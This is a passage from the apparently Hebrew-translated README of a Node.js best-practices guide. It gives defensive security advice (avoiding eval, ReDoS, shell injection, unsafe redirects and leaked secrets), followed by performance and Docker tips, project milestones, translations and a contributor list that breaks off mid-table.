executing custom JavaScript code during run time. This is not just a performance concern but also an important security concern due to malicious JavaScript code that may be sourced from user input. Another language feature that should be avoided is `new Function` constructor. `setTimeout` and `setInterval` should never be passed dynamic JavaScript code either.\r\n\r\n**אחרת:** Malicious JavaScript code finds a way into text passed into `eval` or other real-time evaluating JavaScript language functions, and will gain complete access to JavaScript permissions on the page. This vulnerability is often manifested as an XSS attack.\r\n\r\n🔗 [**Read More: Avoid JavaScript eval statements**](./sections/security/avoideval.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.16. Prevent evil RegEx from overloading your single thread execution\r\n\r\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** Regular Expressions, while being handy, pose a real threat to JavaScript applications at large, and the Node.js platform in particular. A user input for text to match might require an outstanding amount of CPU cycles to process. RegEx processing might be inefficient to an extent that a single request that validates 10 words can block the entire event loop for 6 seconds and set the CPU on 🔥. For that reason, prefer third-party validation packages like [validator.js](https://github.com/chriso/validator.js) instead of writing your own Regex patterns, or make use of [safe-regex](https://github.com/substack/safe-regex) to detect vulnerable regex patterns\r\n\r\n**אחרת:** Poorly written regexes could be susceptible to Regular Expression DoS attacks that will block the event loop completely. For example, the popular `moment` package was found vulnerable with malicious RegEx usage in November of 2017\r\n\r\n🔗 [**Read More: Prevent malicious RegEx**](./sections/security/regex.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.17. Avoid module loading using a variable\r\n\r\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** Avoid requiring/importing another file with a path that was given as parameter due to the concern that it could have originated from user input. This rule can be extended for accessing files in general (i.e. `fs.readFile()`) or other sensitive resource access with dynamic variables originating from user input. [Eslint-plugin-security](https://www.npmjs.com/package/eslint-plugin-security) linter can catch such patterns and warn early enough\r\n\r\n**אחרת:** Malicious user input could find its way to a parameter that is used to require tampered files, for example, a previously uploaded file on the file system, or access already existing system files.\r\n\r\n🔗 [**Read More: Safe module loading**](./sections/security/safemoduleloading.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.18. Run unsafe code in a sandbox\r\n\r\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** When tasked to run external code that is given at run-time (e.g. plugin), use any sort of 'sandbox' execution environment that isolates and guards the main code against the plugin. This can be achieved using a dedicated process (e.g. `cluster.fork()`), serverless environment or dedicated npm packages that act as a sandbox\r\n\r\n**אחרת:** A plugin can attack through an endless variety of options like infinite loops, memory overloading, and access to sensitive process environment variables\r\n\r\n🔗 [**Read More: Run unsafe code in a sandbox**](./sections/security/sandbox.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.19. Take extra care when working with child processes\r\n\r\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** Avoid using child processes when possible and validate and sanitize input to mitigate shell injection attacks if you still have to. Prefer using `child_process.execFile` which by definition will only execute a single command with a set of attributes and will not allow shell parameter expansion.\r\n\r\n**אחרת:** Naive use of child processes could result in remote command execution or shell injection attacks due to malicious user input passed to an unsanitized system command.\r\n\r\n🔗 [**Read More: Be cautious when working with child processes**](./sections/security/childprocesses.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.20. Hide error details from clients\r\n\r\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** An integrated express error handler hides the error details by default. However, great are the chances that you implement your own error handling logic with custom Error objects (considered by many as a best practice). If you do so, ensure not to return the entire Error object to the client, which might contain some sensitive application details\r\n\r\n**אחרת:** Sensitive application details such as server file paths, third party modules in use, and other internal workflows of the application which could be exploited by an attacker, could be leaked from information found in a stack trace\r\n\r\n🔗 [**Read More: Hide error details from client**](./sections/security/hideerrors.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.21. Configure 2FA for npm or Yarn\r\n\r\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** Any step in the development chain should be protected with MFA (multi-factor authentication), npm/Yarn are a sweet opportunity for attackers who can get their hands on some developer's password. Using developer credentials, attackers can inject malicious code into libraries that are widely installed across projects and services. Maybe even across the web if published in public. Enabling 2-factor-authentication in npm leaves almost zero chances for attackers to alter your package code.\r\n\r\n**אחרת:** [Have you heard about the eslint developer whose password was hijacked?](https://medium.com/@oprearocks/eslint-backdoor-what-it-is-and-how-to-fix-the-issue-221f58f1a8c8)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.22. Modify session middleware settings\r\n\r\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** Each web framework and technology has its known weaknesses - telling an attacker which web framework we use is a great help for them. Using the default settings for session middlewares can expose your app to module- and framework-specific hijacking attacks in a similar way to the `X-Powered-By` header. Try hiding anything that identifies and reveals your tech stack (E.g. Node.js, express)\r\n\r\n**אחרת:** Cookies could be sent over insecure connections, and an attacker might use session identification to identify the underlying framework of the web application, as well as module-specific vulnerabilities\r\n\r\n🔗 [**Read More: Cookie and session security**](./sections/security/sessions.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.23. Avoid DOS attacks by explicitly setting when a process should crash\r\n\r\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** The Node process will crash when errors are not handled. Many best practices even recommend to exit even though an error was caught and got handled. Express, for example, will crash on any asynchronous error - unless you wrap routes with a catch clause. This opens a very sweet attack spot for attackers who recognize what input makes the process crash and repeatedly send the same request. There's no instant remedy for this but a few techniques can mitigate the pain: Alert with critical severity anytime a process crashes due to an unhandled error, validate the input and avoid crashing the process due to invalid user input, wrap all routes with a catch and consider not to crash when an error originated within a request (as opposed to what happens globally)\r\n\r\n**אחרת:** This is just an educated guess: given many Node.js applications, if we try passing an empty JSON body to all POST requests - a handful of applications will crash. At that point, we can just repeat sending the same request to take down the applications with ease\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.24. Prevent unsafe redirects\r\n\r\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** Redirects that do not validate user input can enable attackers to launch phishing scams, steal user credentials, and perform other malicious actions.\r\n\r\n**אחרת:** If an attacker discovers that you are not validating external, user-supplied input, they may exploit this vulnerability by posting specially-crafted links on forums, social media, and other public places to get users to click it.\r\n\r\n🔗 [**Read More: Prevent unsafe redirects**](./sections/security/saferedirects.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.25. Avoid publishing secrets to the npm registry\r\n\r\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** Precautions should be taken to avoid the risk of accidentally publishing secrets to public npm registries. An `.npmignore` file can be used to ignore specific files or folders, or the `files` array in `package.json` can act as an allow list.\r\n\r\n**אחרת:** Your project's API keys, passwords or other secrets are open to be abused by anyone who comes across them, which may result in financial loss, impersonation, and other risks.\r\n\r\n🔗 [**Read More: Avoid publishing secrets**](./sections/security/avoid_publishing_secrets.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.26 Inspect for outdated packages\r\n\r\n**אמ;לק:** Use your preferred tool (e.g. `npm outdated` or [npm-check-updates](https://www.npmjs.com/package/npm-check-updates)) to detect installed outdated packages, inject this check into your CI pipeline and even make a build fail in a severe scenario. For example, a severe scenario might be when an installed package is 5 patch commits behind (e.g. local version is 1.3.1 and repository version is 1.3.8) or it is tagged as deprecated by its author - kill the build and prevent deploying this version\r\n\r\n**אחרת:** Your production will run packages that have been explicitly tagged by their author as risky\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.27. Import built-in modules using the 'node:' protocol\r\n\r\n<a href=\"https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20A06:2021 – Vulnerable and Outdated Components-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** Import or require built-in Node.js modules using the 'node protocol' syntax:\r\n\r\n```javascript\r\nimport { functionName } from \"node:module\"; // note that 'node:' prefix\r\n```\r\n\r\nFor example:\r\n\r\n```javascript\r\nimport { createServer } from \"node:http\";\r\n```\r\n\r\nThis style ensures that there is no ambiguity with global npm packages and makes it clear for the reader that the code refers to a well-trusted official module. This style can be enforced with the eslint rule ['prefer-node-protocol'](https://github.com/sindresorhus/eslint-plugin-unicorn/blob/main/docs/rules/prefer-node-protocol.md)\r\n\r\n**אחרת:** Using the import syntax without 'node:' prefix opens the door for [typosquatting attacks](https://en.wikipedia.org/wiki/Typosquatting) where one could mistakenly mistype a module name (e.g., 'event' instead of 'events) and get a malicious package that was built only to trick users into installing them\r\n\r\n<br/><br/><br/>\r\n\r\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ חזרה למעלה</a></p>\r\n\r\n# `7. טיוטה: ביצועים`\r\n\r\n## Our contributors are working on this section. [Would you like to join?](https://github.com/goldbergyoni/nodebestpractices/issues/256)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 7.1. Don't block the event loop\r\n\r\n**אמ;לק:** Avoid CPU intensive tasks as they will block the mostly single-threaded Event Loop and offload those to a dedicated thread, process or even a different technology based on the context.\r\n\r\n**אחרת:** As the Event Loop is blocked, Node.js will be unable to handle other request thus causing delays for concurrent users. **3000 users are waiting for a response, the content is ready to be served, but one single request blocks the server from dispatching the results back**\r\n\r\n🔗 [**Read More: Do not block the event loop**](./sections/performance/block-loop.md)\r\n\r\n<br /><br /><br />\r\n\r\n## ![✔] 7.2. Prefer native JS methods over user-land utils like Lodash\r\n\r\n**אמ;לק:** It's often more penalising to use utility libraries like `lodash` and `underscore` over native methods as it leads to unneeded dependencies and slower performance.\r\nBear in mind that with the introduction of the new V8 engine alongside the new ES standards, native methods were improved in such a way that it's now about 50% more performant than utility libraries.\r\n\r\n**אחרת:** You'll have to maintain less performant projects where you could have simply used what was **already** available or dealt with a few more lines in exchange of a few more files.\r\n\r\n🔗 [**Read More: Native over user land utils**](./sections/performance/nativeoverutil.md)\r\n\r\n<br/><br/><br/>\r\n\r\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ חזרה למעלה</a></p>\r\n\r\n# `8. דוקר`\r\n\r\n🏅 Many thanks to [Bret Fisher](https://github.com/BretFisher) from whom we learned many of the following practices\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 8.1 Use multi-stage builds for leaner and more secure Docker images\r\n\r\n**אמ;לק:** Use multi-stage build to copy only necessary production artifacts. A lot of build-time dependencies and files are not needed for running your application. With multi-stage builds these resources can be used during build while the runtime environment contains only what's necessary. Multi-stage builds are an easy way to get rid of overweight and security threats.\r\n\r\n**אחרת:** Larger images will take longer to build and ship, build-only tools might contain vulnerabilities and secrets only meant for the build phase might be leaked.\r\n\r\n### Example Dockerfile for multi-stage builds\r\n\r\n```dockerfile\r\nFROM node:14.4.0 AS build\r\n\r\nCOPY . .\r\nRUN npm ci && npm run build\r\n\r\n\r\nFROM node:slim-14.4.0\r\n\r\nUSER node\r\nEXPOSE 8080\r\n\r\nCOPY --from=build /home/node/app/dist /home/node/app/package.json /home/node/app/package-lock.json ./\r\nRUN npm ci --production\r\n\r\nCMD [ \"node\", \"dist/app.js\" ]\r\n```\r\n\r\n🔗 [**Read More: Use multi-stage builds**](./sections/docker/multi_stage_builds.md)\r\n\r\n<br /><br /><br />\r\n\r\n## ![✔] 8.2. Bootstrap using `node` command, avoid `npm start`\r\n\r\n**אמ;לק:** Use `CMD ['node','server.js']` to start your app, avoid using npm scripts which don't pass OS signals to the code. This prevents problems with child-processes, signal handling, graceful shutdown and having zombie processes\r\n\r\nUpdate: [Starting from npm 7, npm claim](https://docs.npmjs.com/cli/v7/using-npm/changelog#706-2020-10-27) to pass signals. We follow and will update accordingly\r\n\r\n**אחרת:** When no signals are passed, your code will never be notified about shutdowns. Without this, it will lose its chance to close properly possibly losing current requests and/or data\r\n\r\n[**Read More: Bootstrap container using node command, avoid npm start**](./sections/docker/bootstrap-using-node.md)\r\n\r\n<br /><br /><br />\r\n\r\n## ![✔] 8.3. Let the Docker runtime handle replication and uptime\r\n\r\n**אמ;לק:** When using a Docker run time orchestrator (e.g., Kubernetes), invoke the Node.js process directly without intermediate process managers or custom code that replicate the process (e.g. PM2, Cluster module). The runtime platform has the highest amount of data and visibility for making placement decision - It knows best how many processes are needed, how to spread them and what to do in case of crashes\r\n\r\n**אחרת:** Container keeps crashing due to lack of resources will get restarted indefinitely by the process manager. Should Kubernetes be aware of that, it could relocate it to a different roomy instance\r\n\r\n🔗 [**Read More: Let the Docker orchestrator restart and replicate processes**](./sections/docker/restart-and-replicate-processes.md)\r\n\r\n<br/><br /><br />\r\n\r\n## ![✔] 8.4. Use .dockerignore to prevent leaking secrets\r\n\r\n**TL;DR**: Include a `.dockerignore` file that filters out common secret files and development artifacts. By doing so, you might prevent secrets from leaking into the image. As a bonus the build time will significantly decrease. Also, ensure not to copy all files recursively rather explicitly choose what should be copied to Docker\r\n\r\n**Otherwise**: Common personal secret files like `.env`, `.aws` and `.npmrc` will be shared with anybody with access to the image (e.g. Docker repository)\r\n\r\n🔗 [**Read More: Use .dockerignore**](./sections/docker/docker-ignore.md)\r\n\r\n<br /><br /><br />\r\n\r\n## ![✔] 8.5. Clean-up dependencies before production\r\n\r\n**אמ;לק:** Although Dev-Dependencies are sometimes needed during the build and test life-cycle, eventually the image that is shipped to production should be minimal and clean from development dependencies. Doing so guarantees that only necessary code is shipped and the amount of potential attacks (i.e. attack surface) is minimized. When using multi-stage build (see dedicated bullet) this can be achieved by installing all dependencies first and finally running `npm ci --production`\r\n\r\n**אחרת:** Many of the infamous npm security breaches were found within development packages (e.g. [eslint-scope](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes))\r\n\r\n🔗 Read More: [Remove development dependencies](./sections/docker/install-for-production.md)\r\n\r\n<br /><br /><br />\r\n\r\n## ![✔] 8.6. Shutdown smartly and gracefully\r\n\r\n**אמ;לק:** Handle the process SIGTERM event and clean-up all existing connection and resources. This should be done while responding to ongoing requests. In Dockerized runtimes, shutting down containers is not a rare event, rather a frequent occurrence that happen as part of routine work. Achieving this demands some thoughtful code to orchestrate several moving parts: The load balancer, keep-alive connections, the HTTP server and other resources\r\n\r\n**אחרת:** Dying immediately means not responding to thousands of disappointed users\r\n\r\n🔗 [**Read More: Graceful shutdown**](./sections/docker/graceful-shutdown.md)\r\n\r\n<br /><br /><br />\r\n\r\n## ![✔] 8.7. Set memory limits using both Docker and v8\r\n\r\n**אמ;לק:** Always configure a memory limit using both Docker and the JavaScript runtime flags. The Docker limit is needed to make thoughtful container placement decision, the --v8's flag max-old-space is needed to kick off the GC on time and prevent under utilization of memory. Practically, set the v8's old space memory to be a just bit less than the container limit\r\n\r\n**אחרת:** The docker definition is needed to perform thoughtful scaling decision and prevent starving other citizens. Without also defining the v8's limits, it will under utilize the container resources - Without explicit instructions it crashes when utilizing ~50-60% of its host resources\r\n\r\n🔗 [**Read More: Set memory limits using Docker only**](./sections/docker/memory-limit.md)\r\n\r\n<br /><br /><br />\r\n\r\n## ![✔] 8.8. Plan for efficient caching\r\n\r\n**אמ;לק:** Rebuilding a whole docker image from cache can be nearly instantaneous if done correctly. The less updated instructions should be at the top of your Dockerfile and the ones constantly changing (like app code) should be at the bottom.\r\n\r\n**אחרת:** Docker build will be very long and consume lot of resources even when making tiny changes\r\n\r\n🔗 [**Read More: Leverage caching to reduce build times**](./sections/docker/use-cache-for-shorter-build-time.md)\r\n\r\n<br /><br /><br />\r\n\r\n## ![✔] 8.9. Use explicit image reference, avoid `latest` tag\r\n\r\n**אמ;לק:** Specify an explicit image digest or versioned label, never refer to `latest`. Developers are often led to believe that specifying the `latest` tag will provide them with the most recent image in the repository however this is not the case. Using a digest guarantees that every instance of the service is running exactly the same code.\r\n\r\nIn addition, referring to an image tag means that the base image is subject to change, as image tags cannot be relied upon for a deterministic install. Instead, if a deterministic install is expected, a SHA256 digest can be used to reference an exact image.\r\n\r\n**אחרת:** A new version of a base image could be deployed into production with breaking changes, causing unintended application behaviour.\r\n\r\n🔗 [**Read More: Understand image tags and use the \"latest\" tag with caution**](./sections/docker/image-tags.md)\r\n\r\n<br /><br /><br />\r\n\r\n## ![✔] 8.10. Prefer smaller Docker base images\r\n\r\n**אמ;לק:** Large images lead to higher exposure to vulnerabilities and increased resource consumption. Using leaner Docker images, such as Slim and Alpine Linux variants, mitigates this issue.\r\n\r\n**אחרת:** Building, pushing, and pulling images will take longer, unknown attack vectors can be used by malicious actors and more resources are consumed.\r\n\r\n🔗 [**Read More: Prefer smaller images**](./sections/docker/smaller_base_images.md)\r\n\r\n<br /><br /><br />\r\n\r\n## ![✔] 8.11. Clean-out build-time secrets, avoid secrets in args\r\n\r\n**אמ;לק:** Avoid secrets leaking from the Docker build environment. A Docker image is typically shared in multiple environment like CI and a registry that are not as sanitized as production. A typical example is an npm token which is usually passed to a dockerfile as argument. This token stays within the image long after it is needed and allows the attacker indefinite access to a private npm registry. This can be avoided by coping a secret file like `.npmrc` and then removing it using multi-stage build (beware, build history should be deleted as well) or by using Docker build-kit secret feature which leaves zero traces\r\n\r\n**אחרת:** Everyone with access to the CI and docker registry will also get access to some precious organization secrets as a bonus\r\n\r\n🔗 [**Read More: Clean-out build-time secrets**](./sections/docker/avoid-build-time-secrets.md)\r\n\r\n<br /><br /><br />\r\n\r\n## ![✔] 8.12. Scan images for multi layers of vulnerabilities\r\n\r\n**אמ;לק:** Besides checking code dependencies vulnerabilities also scan the final image that is shipped to production. Docker image scanners check the code dependencies but also the OS binaries. This E2E security scan covers more ground and verifies that no bad guy injected bad things during the build. Consequently, it is recommended running this as the last step before deployment. There are a handful of free and commercial scanners that also provide CI/CD plugins\r\n\r\n**אחרת:** Your code might be entirely free from vulnerabilities. However it might still get hacked due to vulnerable version of OS-level binaries (e.g. OpenSSL, TarBall) that are commonly being used by applications\r\n\r\n🔗 [**Read More: Scan the entire image before production**](./sections/docker/scan-images.md)\r\n\r\n<br /><br /><br />\r\n\r\n## ![✔] 8.13 Clean NODE_MODULE cache\r\n\r\n**אמ;לק:** After installing dependencies in a container remove the local cache. It doesn't make any sense to duplicate the dependencies for faster future installs since there won't be any further installs - A Docker image is immutable. Using a single line of code tens of MB (typically 10-50% of the image size) are shaved off\r\n\r\n**אחרת:** The image that will get shipped to production will weigh 30% more due to files that will never get used\r\n\r\n🔗 [**Read More: Clean NODE_MODULE cache**](./sections/docker/clean-cache.md)\r\n\r\n<br /><br /><br />\r\n\r\n## ![✔] 8.14. Generic Docker practices\r\n\r\n**אמ;לק:** This is a collection of Docker advice that is not related directly to Node.js - the Node implementation is not much different than any other language. Click read more to skim through.\r\n\r\n🔗 [**Read More: Generic Docker practices**](./sections/docker/generic-tips.md)\r\n\r\n<br/><br /><br />\r\n\r\n## ![✔] 8.15. Lint your Dockerfile\r\n\r\n**אמ;לק:** Linting your Dockerfile is an important step to identify issues in your Dockerfile which differ from best practices. By checking for potential flaws using a specialised Docker linter, performance and security improvements can be easily identified, saving countless hours of wasted time or security issues in production code.\r\n\r\n**אחרת:** Mistakenly the Dockerfile creator left Root as the production user, and also used an image from unknown source repository. This could be avoided with with just a simple linter.\r\n\r\n🔗 [**Read More: Lint your Dockerfile**](./sections/docker/lint-dockerfile.md)\r\n\r\n<br/><br /><br />\r\n\r\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ חזרה למעלה</a></p>\r\n\r\n# Milestones\r\n\r\nTo maintain this guide and keep it up to date, we are constantly updating and improving the guidelines and best practices with the help of the community. You can follow our [milestones](https://github.com/goldbergyoni/nodebestpractices/milestones) and join the working groups if you want to contribute to this project\r\n\r\n<br/>\r\n\r\n## Translations\r\n\r\nAll translations are contributed by the community. We will be happy to get any help with either completed, ongoing or new translations!\r\n\r\n### Completed translations\r\n\r\n- ![BR](./assets/flags/BR.png) [Brazilian Portuguese](./README.brazilian-portuguese.md) - Courtesy of [Marcelo Melo](https://github.com/marcelosdm)\r\n- ![CN](./assets/flags/CN.png) [Chinese](./README.chinese.md) - Courtesy of [Matt Jin](https://github.com/mattjin)\r\n- ![RU](./assets/flags/RU.png) [Russian](./README.russian.md) - Courtesy of [Alex Ivanov](https://github.com/contributorpw)\r\n- ![PL](./assets/flags/PL.png) [Polish](./README.polish.md) - Courtesy of [Michal Biesiada](https://github.com/mbiesiad)\r\n- ![JA](./assets/flags/JA.png) [Japanese](./README.japanese.md) - Courtesy of [Yuki Ota](https://github.com/YukiOta), [Yuta Azumi](https://github.com/YA21)\r\n- ![EU](./assets/flags/EU.png) [Basque](README.basque.md) - Courtesy of [Ane Diaz de Tuesta](https://github.com/anediaz) & Joxefe Diaz de Tuesta\r\n\r\n### Translations in progress\r\n\r\n- ![FR](./assets/flags/FR.png) [French](./README.french.md) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/129))\r\n- ![HE](./assets/flags/HE.png) Hebrew ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/156))\r\n- ![KR](./assets/flags/KR.png) [Korean](README.korean.md) - Courtesy of [Sangbeom Han](https://github.com/uronly14me) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/94))\r\n- ![ES](./assets/flags/ES.png) [Spanish](https://github.com/goldbergyoni/nodebestpractices/blob/spanish-translation/README.spanish.md) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/95))\r\n- ![TR](./assets/flags/TR.png) Turkish ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/139))\r\n\r\n<br/><br/>\r\n\r\n## Steering Committee\r\n\r\nMeet the steering committee members - the people who work together to provide guidance and future direction to the project. In addition, each member of the committee leads a project tracked under our [GitHub projects](https://github.com/goldbergyoni/nodebestpractices/projects).\r\n\r\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/yoni.png\"/>\r\n\r\n[Yoni Goldberg](https://github.com/goldbergyoni)\r\n<a href=\"https://twitter.com/goldbergyoni\"><img src=\"assets/images/twitter.svg\" width=\"16\" height=\"16\"></img></a>\r\n<a href=\"https://goldbergyoni.com\"><img src=\"assets/images/web.svg\" width=\"16\" height=\"16\"></img></a>\r\n\r\nIndependent Node.js consultant who works with customers in the USA, Europe, and Israel on building large-scale Node.js applications. Many of the best practices above were first published at [goldbergyoni.com](https://goldbergyoni.com). Reach Yoni at [@goldbergyoni](https://github.com/goldbergyoni) or [me@goldbergyoni.com](mailto:me@goldbergyoni.com)\r\n\r\n<br/>\r\n\r\n<a id=\"josh-hemphill\" href=\"https://github.com/josh-hemphill\" target=\"_blank\"><img src=\"assets/images/members/josh-hemphill.png\" align=\"left\" width=\"100\" height=\"100\" alt=\"Josh Hemphill\" loading=\"lazy\"/></a>\r\n\r\n[Josh Hemphill](https://github.com/josh-hemphill)\r\n<a href=\"https://twitter.com/spooklogical\"><img src=\"assets/images/twitter.svg\" width=\"16\" height=\"16\"></img></a>\r\n<a href=\"https://www.linkedin.com/in/joshuahemphill/\"><img src=\"assets/images/linkedin.svg\" width=\"16\" height=\"16\"></img></a>\r\n<a href=\"https://joshuahemphill.com\"><img src=\"assets/images/web.svg\" width=\"16\" height=\"16\"></img></a>\r\n\r\nFull Stack Software Engineer / Developer specializing in Security, DevOps/DevSecOps, and ERP Integrations.\r\n\r\n<br/>\r\n\r\n<a id=\"raz-luvaton\" href=\"https://github.com/rluvaton\" target=\"_blank\"><img src=\"assets/images/members/raz-luvaton.jpg\" align=\"left\" width=\"100\" height=\"100\" alt=\"Raz Luvaton\" loading=\"lazy\"/></a>\r\n\r\n[Raz Luvaton](https://github.com/rluvaton)\r\n<a href=\"https://twitter.com/rluvaton\"><img src=\"assets/images/twitter.svg\" width=\"16\" height=\"16\"></img></a>\r\n<a href=\"https://www.linkedin.com/in/rluvaton/\"><img src=\"assets/images/linkedin.svg\" width=\"16\" height=\"16\"></img></a>\r\n\r\nFull Stack Developer who knows how to exit from Vim and loves Architecture, Virtualization and Security.\r\n\r\n<br/>\r\n\r\n## Contributing\r\n\r\nIf you've ever wanted to contribute to open source, now is your chance! See the [contributing docs](.operations/CONTRIBUTING.md) for more information.\r\n\r\n## Contributors ✨\r\n\r\nThanks goes to these wonderful people who have contributed to this repository!\r\n\r\n<!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section -->\r\n<!-- prettier-ignore-start -->\r\n<!-- markdownlint-disable -->\r\n<table>\r\n  <tbody>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kevinrambaud\"><img src=\"https://avatars1.githubusercontent.com/u/7501477?v=4\" width=\"100px;\" alt=\"Kevin Rambaud\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kevin Rambaud</b></sub></a><br /><a href=\"#content-kevinrambaud\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/mfine15\"><img src=\"https://avatars1.githubusercontent.com/u/1286554?v=4\" width=\"100px;\" alt=\"Michael Fine\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Michael Fine</b></sub></a><br /><a href=\"#content-mfine15\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://squgeim.github.io\"><img src=\"https://avatars0.githubusercontent.com/u/4996818?v=4\" width=\"100px;\" alt=\"Shreya Dahal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shreya Dahal</b></sub></a><br /><a href=\"#content-squgeim\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://matheusrocha89.com\"><img src=\"https://avatars1.githubusercontent.com/u/3718366?v=4\" width=\"100px;\" alt=\"Matheus Cruz Rocha\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Matheus Cruz Rocha</b></sub></a><br /><a href=\"#content-matheusrocha89\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://bityog.github.io/Portfolio/\"><img src=\"https://avatars2.githubusercontent.com/u/28219178?v=4\" width=\"100px;\" alt=\"Yog 